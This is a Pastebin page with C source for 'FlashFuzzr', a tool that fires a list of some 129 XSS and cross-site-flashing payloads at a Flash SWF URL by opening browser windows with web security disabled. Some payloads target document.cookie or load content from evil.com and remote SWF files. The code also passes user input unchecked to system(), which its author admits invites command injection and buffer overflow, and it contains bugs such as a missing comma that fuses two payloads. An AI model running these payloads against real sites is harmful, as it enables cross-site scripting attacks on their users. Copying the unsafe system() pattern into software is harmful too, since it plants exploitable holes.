API tools faq
paste
Kyfx

FlashFuzzer Automated tool for finding vulns credit too MLT

Kyfx
Apr 11th, 2016
1,687
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 39.82 KB | None | 0 0
raw download clone embed print report
  1.  
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <dirent.h>
  6. #include <malloc.h>
  7. #pragma GCC diagnostic push
  8. #pragma GCC diagnostic ignored "-Wunused-result"
  9. #pragma GCC diagnostic ignored "-Wformat"
  10. #pragma GCC diagnostic pop
  11.  
  12.  
  13. /*********************************************************************************
  14. * ___ _ ___ ___ _ _ ___ _ _ ____ ____ ___ *
  15. * | __| | | / \ / __| | || | | __| | | | | |_ / |_ / | _ \ *
  16. * | _| | |__ | - | \__ \ | __ | | _| | |_| | / / / / | / *
  17. * _|_|_ |____| |_|_| |___/ |_||_| _|_|_ \___/ /___| /___| |_|_\ *
  18. *_| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""|*
  19. *"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'*
  20. * *
  21. **********************************************************************************
  22. * Version 1.0 - Written by MLT * Usage: *
  23. * * *
  24. * Dependencies: Linux * Follow the on-screen instructions *
  25. * gnome-www-browser* Supply SWF as URL only *
  26. * Flare * Ensure that you're using a linux *
  27. * * system with Flare *
  28. * I am not responsible for this* installed. *
  29. * tool being used for illegal * *
  30. * or malicious purposes * I will be writing a Windows port for *
  31. * * this at some point, but for now this *
  32. * P.S: I know this is written * is designed for linux. *
  33. * in a sloppy manner, but it * *
  34. * gets the job done regardless * you'll need to ensure you input the *
  35. * * correct full path for directory for *
  36. * complition tested w/ gcc/g++ * your flare install *
  37. * (c11/gnu11 std) * *
  38. **********************************************************************************
  39. * protip: remember to enable flash in firefox (its disabled by default) *
  40. * gnome-www-browser will launch your default browser, chrome is best choice *
  41. * *
  42. * make sure you have your browser already open with a few tabs open before *
  43. * running the program, FULL README is located at bottom of the source *
  44. *********************************************************************************/
  45.  
  46. void clear()
  47. {
  48. int x;
  49. for ( x = 0; x < 10; x++ )
  50. {
  51. printf("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"); // too gay for system("cls") or clrscr();
  52. }
  53. }
  54.  
  55. int main(void)
  56.  
  57. {
  58. DIR *path;
  59. FILE *fp;
  60. struct dirent *ptr;
  61. int primaryInput, helpMenuInput, usageInput, usrInput, fuzzInput, finalInput;
  62. int j = 0;
  63. int num = 0;
  64. char* files[20]; // modify this if necessary
  65. char in[150], url[150], dir[100], cmd[1000], flare[1000], buff[1000], buffer[1000], line_count[50];
  66. char the_vectors[129][1000] = {
  67. "'#alert(1337)'",
  68. "'#prompt(1)'",
  69. "'#confirm(1)'",
  70. "'#prompt`1`'",
  71. "'#confirm`1`'",
  72. "'?alert(/XSS/)'",
  73. "'?prompt(/XSS/)'",
  74. "'?confirm(/XSS/)'",
  75. "'?prompt`XSS`'",
  76. "'?confirm`XSS`'",
  77. "'#javascript:confirm(1)'",
  78. "'#javascript:prompt(1)'",
  79. "'#javascript:alert(1337)'",
  80. "'#javascript:confirm(1)//'",
  81. "'#javascript:prompt(1)//'",
  82. "'#javascript:alert(1)//'",
  83. "'#javascript:confirm`xss`'",
  84. "'#javascript:prompt`xss`'",
  85. "'?javascript:alert(1337)'",
  86. "'?javascript:prompt(1)'",
  87. "'?javascript:confirm(1)'",
  88. "'?javascript:prompt`xss`'",
  89. "'?javascript:confirm`xss`'",
  90. "'#getURL(javascript:alert(/XSS/))'",
  91. "'#getURL(javascript:prompt(/XSS/))'",
  92. "'#getURL(javascript:confirm(/XSS/))'",
  93. "'#asfunction:getURL,javascript:alert(1337)//'",
  94. "'#asfunction:getURL,javascript:prompt(0)//'",
  95. "'#asfunction:getURL,javascript:confirm(1337)//'",
  96. "'#asfunction:getURL,javascript:prompt`xss`//'",
  97. "'#asfunction:getURL,javascript:confirm`xss`//'",
  98. "'?asfunction:getURL,javascript:alert(1)//'",
  99. "'?asfunction:getURL,javascript:prompt(1)//'",
  100. "'?asfunction:getURL,javascript:confirm(1)//'",
  101. "'?asfunction:getURL,javascript:prompt`1`//'",
  102. "'?asfunction:getURL,javascript:confirm`1`//'",
  103. "'#getURL,javascript:alert(1)'",
  104. "'#getURL,javascript:prompt(1)'",
  105. "'#getURL,javascript:confirm(1)'",
  106. "'#getURL,javascript:prompt`1`'",
  107. "'#getURL,javascript:confirm`1`'",
  108. "'?getURL(javascript:prompt(/XSS/))'",
  109. "'?getURL(javascript:confirm(/XSS/))'",
  110. "'?getURL,javascript:alert(1)'",
  111. "'?getURL,javascript:prompt(1)'",
  112. "'?getURL,javascript:confirm(1)'",
  113. "'?getURL,javascript:prompt`1`'",
  114. "'?getURL,javascript:confirm`1`'",
  115. "'?goto,javascript:prompt(1)'",
  116. "'?goto,javascript:confirm(1)'",
  117. "'?goto,javascript:prompt`x`'",
  118. "'?goto,javascript:confirm`x`'",
  119. "'?clickTAG=javascript:prompt(/xss/)",
  120. "'?clickTAG=javascript:confirm(/xss/)",
  121. "'?clickTAG=javascript:prompt`xss`",
  122. "'?clickTAG=javascript:confirm`xss`",
  123. "'?url=javascript:prompt(/xss/)'",
  124. "'?url=javascript:confirm(/xss/)'",
  125. "'?url=javascript:prompt`xss`'",
  126. "'?url=javascript:confirm`xss`'",
  127. "'?clickTAG=javascript:prompt(/xss/)&TargetAS='",
  128. "'?clickTAG=javascript:confirm(/xss/)&TargetAS='",
  129. "'?clickTAG=javascript:prompt`xss`&TargetAS='",
  130. "'?clickTAG=javascript:confirm`xss`&TargetAS='",
  131. "'?TargetAS=javascript:prompt(/xss/)'",
  132. "'?TargetAS=javascript:confirm(/xss/)'",
  133. "'?TargetAS=javascript:confirm`x`'",
  134. "'?mode=tags&tagcloud=<tags><a+href=\"javascript:alert(document.cookie)\"+style=\"font-size:+40pt\">Click me</a></tags>'",
  135. "'?mode=tags&tagcloud=<tags><a+href=\"javascript:prompt(document.cookie)\"+style=\"font-size:+40pt\">Click me</a></tags>'",
  136. "'?mode=tags&tagcloud=<tags><a+href=\"javascript:confirm(document.cookie)\"+style=\"font-size:+40pt\">Click me</a></tags>'",
  137. "'?mode=tags&tagcloud=<tags><a+href=\"javascript:alert`1`\"+style=\"font-size:+40pt\">Click me</a></tags>'",
  138. "'?mode=tags&tagcloud=<tags><a+href=\"javascript:prompt`1`\"+style=\"font-size:+40pt\">Click me</a></tags>'",
  139. "'?mode=tags&tagcloud=<tags><a+href=\"javascript:confirm`1`\"+style=\"font-size:+40pt\">Click me</a></tags>'",
  140. "'?mode=tags&tagcloud=<tags><a+href=\"http://google.com\"+style=\"font-size:+40pt\">Click me</a></tags>'",
  141. "'?mode=tags&tagcloud=<tags><a+href=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgwKTwvc2NyaXB0Pg==\"+style=\"font-size:+40pt\">Click me</a></tags>'",
  142. "'?baseurl=asfunction:getURL,javascript:prompt(1)//'",
  143. "'?baseurl=asfunction:getURL,javascript:confirm(1)//'",
  144. "'?baseurl=asfunction:getURL,javascript:confirm`1`//'",
  145. "'?URI=javascript:prompt(/xss/)'",
  146. "'?URI=javascript:confirm(/xss/)'",
  147. "'?getURLValue=javascript:confirm(0)'",
  148. "'?base=javascript:prompt(0)'",
  149. "'?base=javascript:confirm`0`'",
  150. "'?URI=javascript:prompt(/xss/)'",
  151. "'?URI=javascript:confirm`xss`'",
  152. "'?URL=javascript:prompt(/xss/)'",
  153. "'?callback=javascript:prompt(/xss/)'",
  154. "'?callback=javascript:confirm`xss`'",
  155. "'?getURLValue=javascript:prompt(/xss/)'",
  156. "'?getURLValue=javascript:confirm`xss`'",
  157. "'?getURLValue=http://evil.com'",
  158. "'?getURLValue=//www.evil.com'",
  159. "'?getUrlBlankVar=javascript:prompt(0)'",
  160. "'?getUrlBlankVar=javascript:confirm`0`'",
  161. "'?getUrlParentVar=javascript:prompt(0)'",
  162. "'?getUrlParentVar=javascript:confirm(0)'",
  163. "'?getUrlJSParam=\');function eval(a){}prompt(0)//'"
  164. "'?getUrlJSParam=');confirm(0)//'",
  165. "'?goto=javascript:confirm(/xss/)'",
  166. "'?pg=javascript:prompt(/xss/)'",
  167. "'?page=javascript:alert(/xss/)'",
  168. "'?skinName=https://sites.google.com/site/rcannings2/DoKnowEvil'",
  169. "'?skinName=asfunction:getURL,javascript:alert(1)//'",
  170. "'?skinName=asfunction:getURL,javascript:confirm`1`//'",
  171. "'?debugMode=1&dataURL=%%27><img+src%3D\"https://rcannings.googlepages.com/'",
  172. "'?\"><img+src=\"http://rcannings.googlepages.com/DoKnowEvil.swf?.jpg\">'",
  173. "'?onend=javascript:prompt(1)//'",
  174. "'?onend=javascript:confirm(1)//'",
  175. "'?onend=javascript:confirm`1`//'",
  176. "'?\");function%%20someFunction(a){}prompt(1)//'",
  177. "'?\");function%%20someFunction(a){}confirm(1)//'",
  178. "'?a=1:0;prompt(0)//'",
  179. "'?a=1:0;alert(0)//'",
  180. "'?a=1:0;confirm`0`//'",
  181. "'?loadMovieVar=http://test.com/evil.swf'",
  182. "'?loadMovieNumVar=http://test.com/evil.swf'",
  183. "'?loadMovieVar=javascript:prompt(0)'",
  184. "'?loadMovieVar=javascript:cofirm(0)'",
  185. "'?loadMovieVar=javascript:alert`0`'",
  186. "'?xmlLoadVar=asfunction:getURL,javascript:prompt(0)'",
  187. "'?xmlLoadVar=asfunction:getURL,javascript:confirm(0)'",
  188. "'?xmlLoadVar=asfunction:getURL,javascript:alert`0`'",
  189. "'?htmlVar=<a href=\"asfunction:getURL,javascript:prompt(0)\"> Click here</a>'",
  190. "'?htmlVar=<a href=\"asfunction:getURL,javascript:confirm(0)\"> Click here</a>'",
  191. "'?htmlVar=<a href=\"asfunction:getURL,javascript:alert`0`\"> Click here</a>'",
  192. "'?htmlVar=a<img src=\'evil.swf\' />'",
  193. "'?fontVar=\"><img src=\"evil.swf\"><\"'",
  194. "'?externalInterfaceVar=confirm(0)'",
  195. "'?externalInterfaceVar=prompt`0`'",
  196. };
  197.  
  198. /**********************************************
  199. * will update with moar vectors sometime soon *
  200. * if anyone has any contributions then feel *
  201. * free to contact me via email *
  202. **********************************************/
  203.  
  204. MainMenu: // LOL YEP
  205.  
  206. printf("\n\n 1011101110+-------------------------------------------------------------------------------------------------+1010010011\n");
  207. printf(" 0000011100| [ FLASHFUZZR ] |0111110010\n");
  208. printf(" 0001110010| |1010100111\n");
  209. printf(" 0001111101| Automated GET-Based XSS/XSF Fuzzer for SWF's |0110111010\n");
  210. printf(" 0100110000| Version 1.0 - Written by MLT (@ret2libc) |1001100001\n");
  211. printf(" 1010011111| |1010011010\n");
  212. printf(" 0001110110| Contact me: [email protected] |0010011111\n");
  213. printf(" 1011001010| |1001101110\n");
  214. printf(" 0110101110| |0001101001\n");
  215. printf(" 1011110100| |0001000100\n");
  216. printf(" 0101010111| Type '1' to display instructions |0111010000\n");
  217. printf(" 1100111101| |1010101101\n");
  218. printf(" 1101111110| .-~*~--,. .-. |0011011000\n");
  219. printf(" 1110111010| .-~-. ./OOOOOOOOO\\.'OOO`9~~-. |0101101101\n");
  220. printf(" 0110001010| .`OOOOOO.OOM.OLSONOOOOO@@OOOOOO\\ |0000110111\n");
  221. printf(" 1101100000| /OOOO@@@OO@@@OO@@@OOO@@@@@@@@OOOO`. |1001001111\n");
  222. printf(" 0000010010| |OO@@@WWWW@@@@OOWWW@WWWW@@@@@@@OOOO). |0000000001\n");
  223. printf(" 1111011101| .-'OO@@@@WW@@@W@WWWWWWWWOOWW@@@@@OOOOOO} |1110011110\n");
  224. printf(" 0011101001| /OOO@@O@@@@W@@@@@OOWWWWWOOWOO@@@OOO@@@OO| |1101101001\n");
  225. printf(" 1111001000| lOOO@@@OO@@@WWWWWWW\\OWWWO\\WWWOOOOOO@@@O.' |1000100000\n");
  226. printf(" 1011000001| \\OOO@@@OOO@@@@@@OOW\\ \\WWWW@@@@@@@O'. |0010000000\n");
  227. printf(" 1000100101| `,OO@@@OOOOOOOOOOWW\\ \\WWWW@@@@@@OOO) |1111100100\n");
  228. printf(" 1001000000| \\,O@@@@@OOOOOOWWWWW\\ \\WW@@@@@OOOO.' |1010111100\n");
  229. printf(" 0110101001| `~c~8~@@@@WWW@@W\\ \\WOO|\\UO-~' |1111001010\n");
  230. printf(" 1100111110| (OWWWWWW@/\\W\\ ___\\WO) |1001000001\n");
  231. printf(" 1111111000| `~-~'' \\ \\WW=*' |0100001001\n");
  232. printf(" 0001110111| __\\ \\ |1010000111\n");
  233. printf(" 1111000011| \\ \\ |0101110101\n");
  234. printf(" 0110000100| \\ __\\ |1011010010\n");
  235. printf(" 1111010101| \\ \\ |0011010110\n");
  236. printf(" 0110000010| \\ \\ |1010100110\n");
  237. printf(" 0101110100| \\ \\ |0110110110\n");
  238. printf(" 1100100011| \\ \\ |1100110110\n");
  239. printf(" 0001110011| \\ \\ |0110001001\n");
  240. printf(" 0111011100| \\ \\ |0100001111\n");
  241. printf(" 0000001011| \\_\\ |0011111110\n");
  242. printf(" 1000110000| |0001101111\n");
  243. printf(" 0110110100+-------------------------------------------------------------------------------------------------+1011010000\n\n\n");
  244.  
  245. scanf("%d", &primaryInput);
  246.  
  247. if (primaryInput == 1)
  248. {
  249.  
  250. HelpMenu:
  251.  
  252. clear();
  253.  
  254. printf("\n\n 1011101110+-------------------------------------------------------------------------------------------------+1010010011\n");
  255. printf(" 0000011100| [ FLASHFUZZR ] |0111110010\n");
  256. printf(" 0001110010| |1010100111\n");
  257. printf(" 0001111101| Help Menu |0110111010\n");
  258. printf(" 1010011111| OPTIONS: |1010011010\n");
  259. printf(" 0110101110| |0001101001\n");
  260. printf(" 0110101110| 1 - Usage Guide |0001101001\n");
  261. printf(" 0110101110| 2 - Fuzz for XSS/XSF |0001101001\n");
  262. printf(" 0110101110| 3 - Decompile SWF |0001101001\n");
  263. printf(" 0110101110| 4 - Return to start page |0001101001\n");
  264. printf(" 0110101110| |0001101001\n");
  265. printf(" 0110101110| [ Select an option to continue ] |0001101001\n");
  266. printf(" 0110110100+-------------------------------------------------------------------------------------------------+1011010000\n\n\n");
  267. }
  268.  
  269.  
  270. else if (primaryInput != 1)
  271. {
  272. clear();
  273.  
  274. fprintf(stderr, "\nRead the instructions next time!\n");
  275. fprintf(stderr, "\nProgram closing!\n");
  276. exit(0);
  277.  
  278. /*************************
  279. * worst error handling in*
  280. * existence because i'm *
  281. * fkn lazy :) *
  282. *************************/
  283. }
  284.  
  285. scanf("%d", &helpMenuInput);
  286.  
  287. if (helpMenuInput == 1)
  288. {
  289. clear();
  290.  
  291. printf("\n\n 1011101110+-------------------------------------------------------------------------------------------------+1010010011\n");
  292. printf(" 0000011100| [ FLASHFUZZR ] |0111110010\n");
  293. printf(" 0001110010| |1010100111\n");
  294. printf(" 0001111101| Usage Guide |0110111010\n");
  295. printf(" 0001110010| |1010100111\n");
  296. printf(" 0001110010| To fuzz an SWF for XSS/XSF simply navigate to the help menu then select |1010100111\n");
  297. printf(" 0001111101| the 'fuzz for XSS/XSF' option' and input the remote URL to the SWF file |0110111010\n");
  298. printf(" 0001110010| when instructed - firefox will then begin to open browser windows and |1010100111\n");
  299. printf(" 0001110010| begin fuzzing for vulns. |1010100111\n");
  300. printf(" 0001110010| |1010100111\n");
  301. printf(" 0001110010| To decompile an SWF, navigate to the help menu and select the 'decompile |1010100111\n");
  302. printf(" 0001110010| SWF' option and follow the instructions on screen |1010100111\n");
  303. printf(" 0001110010| |1010100111\n");
  304. printf(" 0001110010| Dependencies: |1010100111\n");
  305. printf(" 0001110010| |1010100111\n");
  306. printf(" 0001110010| - Mozilla Firefox |1010100111\n");
  307. printf(" 0001110010| - Linux |1010100111\n");
  308. printf(" 0001110010| - Flare |1010100111\n");
  309. printf(" 0001110010| |1010100111\n");
  310. printf(" 0001110010| Type '1' to return to help menu |1010100111\n");
  311. printf(" 0110110100+-------------------------------------------------------------------------------------------------+1011010000\n\n\n");
  312.  
  313. scanf("%d", &usageInput);
  314.  
  315. if (usageInput == 1)
  316. {
  317. clear();
  318. goto HelpMenu; // sue me :)
  319. }
  320.  
  321. }
  322.  
  323. else if (helpMenuInput == 2)
  324. {
  325.  
  326. clear();
  327.  
  328. printf("\n\n 1011101110+-------------------------------------------------------------------------------------------------+1010010011\n");
  329. printf(" 0000011100| [ FLASHFUZZR ] |0111110010\n");
  330. printf(" 0001110010| |1010100111\n");
  331. printf(" 0001111101| Begin Fuzzing |0110111010\n");
  332. printf(" 0001110010| |1010100111\n");
  333. printf(" 0001110010| In order to begin fuzzing for vulnerabilities, please enter the direct |1010100111\n");
  334. printf(" 0001111101| link to the remote URL below and hit the 'enter' key to confirm. Ensure |0110111010\n");
  335. printf(" 0001110010| that firefox is installed and that the URL to the SWF you're testing is |1010100111\n");
  336. printf(" 0001110010| correctly typed. |1010100111\n");
  337. printf(" 0001110010| |1010100111\n");
  338. printf(" 0001110010| ENTER PATH TO SWF URL: |1010100111\n");
  339. printf(" 0001110010| |1010100111\n");
  340. printf(" 0001110010| Type '1' to return to help menu |1010100111\n");
  341. printf(" 0110110100+-------------------------------------------------------------------------------------------------+1011010000\n\n\n");
  342.  
  343. scanf("%d", &usrInput);
  344.  
  345. if (usrInput == 1)
  346. {
  347. clear();
  348. goto HelpMenu; // sue me :)
  349. }
  350.  
  351. scanf("%s", url);
  352. printf("\n\n\n\n\n [+] Fuzzing initiated on: %s [+]\n\n\n\n\n", url);
  353.  
  354. size_t i = 0;
  355.  
  356. for (i = 0; i < sizeof(the_vectors) / sizeof(the_vectors[0]); i++)
  357. {
  358. snprintf(buffer, sizeof buffer, "%s%s", url, the_vectors[i]);
  359. snprintf(cmd, sizeof cmd, "%s%s", "gnome-www-browser --disable-web-security ", buffer);
  360. system("sleep .10");
  361. system(cmd);
  362. clear();
  363. }
  364.  
  365. printf("\n\n\n\n\n [+] Fuzzing on: %s complete [+]\n\n\n\n\n", url);
  366. printf(" check each browser tab to see if any vulns are present\n\n\n");
  367. printf("\n Enter '1' to exit the program, or alternatively enter '2' to return to the main menu\n\n\n");
  368.  
  369. scanf("%d", &fuzzInput);
  370.  
  371. if (fuzzInput == 1)
  372. {
  373. printf("\nProgram closing!\n\n\n");
  374. exit(0);
  375. }
  376.  
  377. if (fuzzInput == 2)
  378. {
  379. clear();
  380. goto MainMenu; // sue me :)
  381. }
  382.  
  383. else if (fuzzInput != 1 || fuzzInput != 2)
  384. {
  385. clear();
  386.  
  387. fprintf(stderr, "\nRead the instructions next time!\n");
  388. fprintf(stderr, "\nProgram closing!\n\n\n");
  389. exit(0);
  390.  
  391. /*************************
  392. * worst error handling in*
  393. * existence because i'm *
  394. * fkn lazy :) *
  395. *************************/
  396. }
  397.  
  398. }
  399.  
  400. else if (helpMenuInput == 3)
  401. {
  402. clear();
  403.  
  404. printf("\n\n 1011101110+-------------------------------------------------------------------------------------------------+1010010011\n");
  405. printf(" 0000011100| [ FLASHFUZZR ] |0111110010\n");
  406. printf(" 0001110010| |1010100111\n");
  407. printf(" 0001111101| SWF Decompiler |0110111010\n");
  408. printf(" 1010011111| |1010011010\n");
  409. printf(" 0110101110| Remember to modify opendir(); to the path for your 'flare' directory |0001101001\n");
  410. printf(" 0110101110| Enter any key to begin decompilation |0001101001\n");
  411. printf(" 0110110100+-------------------------------------------------------------------------------------------------+1011010000\n\n\n");
  412.  
  413. /******************************************
  414. * make sure to follow the installation *
  415. * instructions for flare and when running *
  416. * this program specify the full path to *
  417. * the directory where you unpacked the *
  418. * tarball for flare. *
  419. * *
  420. * you should also ensure that you have *
  421. * the SWF files that you wish to decompile*
  422. * stored within this same directory *
  423. * *
  424. * I didn't bother implementing proper err *
  425. * handling for this, so if you fuck up you*
  426. * won't be warned. Follow the instructions*
  427. * and it should work fine :) *
  428. ******************************************/
  429.  
  430. getchar();
  431. clear();
  432. printf("\nEnter the path to the directory of your flare install:\n\n\n");
  433. scanf("%s", dir);
  434.  
  435. if ((path = opendir (dir)) != NULL)
  436. {
  437.  
  438. while ((ptr = readdir (path)) != NULL)
  439. {
  440. if (ptr->d_name[0] != '.')
  441. {
  442. printf ("%s\n", ptr->d_name);
  443. fp = fopen("listing.txt", "aw+");
  444. strcpy(in, ptr->d_name);
  445. strcat(in, "\n");
  446. fputs(in, fp);
  447. fclose(fp);
  448. }
  449. }
  450. closedir(path);
  451. }
  452. else
  453. {
  454. fprintf(stderr, "\nInvalid directory\n");
  455. }
  456.  
  457. fp = fopen("listing.txt", "r");
  458.  
  459. while(fgets(line_count, sizeof line_count, fp)!=NULL)
  460. {
  461. files[j]=malloc(sizeof(line_count));
  462. strcpy(files[j],line_count);
  463. j++;
  464. num++;
  465. }
  466.  
  467. for (int x=0 ; x < num+1; x++)
  468. {
  469. if (files[x] != '\0')
  470. {
  471. printf("Performing decompilation on: \n%s", files[x]);
  472. size_t y = 0;
  473.  
  474. for (y = 0; y < sizeof(files) / sizeof(files[0]); y++)
  475. {
  476. snprintf(buff, sizeof buff, "%s", files[y]);
  477. snprintf(flare, sizeof flare, "%s%s", "./flare ", buff);
  478. system(flare);
  479. clear();
  480. }
  481. }
  482. }
  483.  
  484.  
  485. fclose(fp);
  486. system("rm listing.txt");
  487. clear();
  488. printf("\nDecompilation complete!\n\n\n");
  489. printf("\nEnter '1' to exit the program, or alternatively enter '2' to return to the main menu\n\n\n");
  490. scanf("%d", &finalInput);
  491.  
  492. if (finalInput == 1)
  493. {
  494. printf("\nProgram closing!\n\n\n");
  495. exit(0);
  496. }
  497.  
  498. if (finalInput == 2)
  499. {
  500. clear();
  501. goto MainMenu; // sue me :)
  502. }
  503.  
  504. }
  505.  
  506. if (helpMenuInput == 4)
  507. {
  508. clear();
  509. goto MainMenu; // sue me :)
  510. }
  511.  
  512. else if (helpMenuInput != 1 || helpMenuInput != 2 || helpMenuInput != 3 || helpMenuInput != 4)
  513. {
  514. clear();
  515.  
  516. fprintf(stderr, "\nRead the instructions next time!\n");
  517. fprintf(stderr, "\nProgram closing!\n\n\n");
  518. exit(0);
  519.  
  520. /*************************
  521. * worst error handling in*
  522. * existence because i'm *
  523. * fkn lazy :) *
  524. *************************/
  525. }
  526.  
  527. return 0;
  528.  
  529. }
  530.  
  531. /*************************************************************************************************
  532. * README: Full list of dependancies and errors you may encounter *
  533. **************************************************************************************************
  534. * *
  535. * The purpose of this program is to allow you to easily perform blackbox + whitebox testing on *
  536. * SWF files for vulns such as cross site scripting and cross site flashing. *
  537. * In addition to this, I've also added some functionality for decompilation of SWF's. *
  538. * *
  539. * I noticed flare (probably the most basic command-line flash decompiler) is very limited in *
  540. * what you can do with it, so I've added a feature here to allow you to specify a directory and *
  541. * have flare automatically decompile every SWF file within that directory so you can then view *
  542. * the .flr files and begin to analyze the code for bugs. *
  543. * *
  544. * There are a few dependancies, for now this is working only for linux, you'll need to ensure *
  545. * that you have gnome-www-browser installed as i'm using this as an alternative to xdg-open due *
  546. * to extra functionality when launching a URL. *
  547. * *
  548. * In order to have the SWF decompilation feature working properly, you'll have to ensure you *
  549. * specify the correct directory where your flare install is located when prompted *
  550. * *
  551. * you'll also want to modify the size of files[] as appropriate (assuming you're decompiling *
  552. * more than 20 files at once) *
  553. * *
  554. * In order to install flare, download the tarball from here: *
  555. * http://www.nowrap.de/download/flare06linux.tgz *
  556. * *
  557. * I'm making this launch browser processes rather than opening a socket because this greatly *
  558. * reduces (100% reduction) false positives and allows you to see the results in real time *
  559. * *
  560. * I suggest using google chrome for this, firefox will probably be buggy. Before you run this *
  561. * program, make sure you already have google chrome open with more than one tab opened. *
  562. * *
  563. * If you experience any issues with chrome not opening each instance in a new tab instantly, then*
  564. * run the following command then try again: *
  565. * *
  566. * pkill -9 chrome *
  567. * *
  568. * if there's still an issue, try running this: *
  569. * *
  570. * for i in `pgrep chrome` ; do kill $i ; sleep .10 ; done" *
  571. * *
  572. * I didnt bother implementing proper error handling for the CLI-based menu (as you can prob tell)*
  573. * Just make sure to follow the on-screen instructions and you shouldn't have any problems. *
  574. * *
  575. * also i'm aware this is probably vulnerable to BoF and is also passing user inputs to system(); *
  576. * but I see no real risk here. If you wanna perform RCE or BoF ON YOUR OWN SYSTEM LOCALLY then *
  577. * be my guest. *
  578. * *
  579. * ensure that you have write privs for the area you're running this in. *
  580. * *
  581. * to compile and execute: *
  582. * gcc -o flashfuzz flashfuzz.c -std=gnu11 *
  583. * ./flashfuzz *
  584. * *
  585. *************************************************************************************************/
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!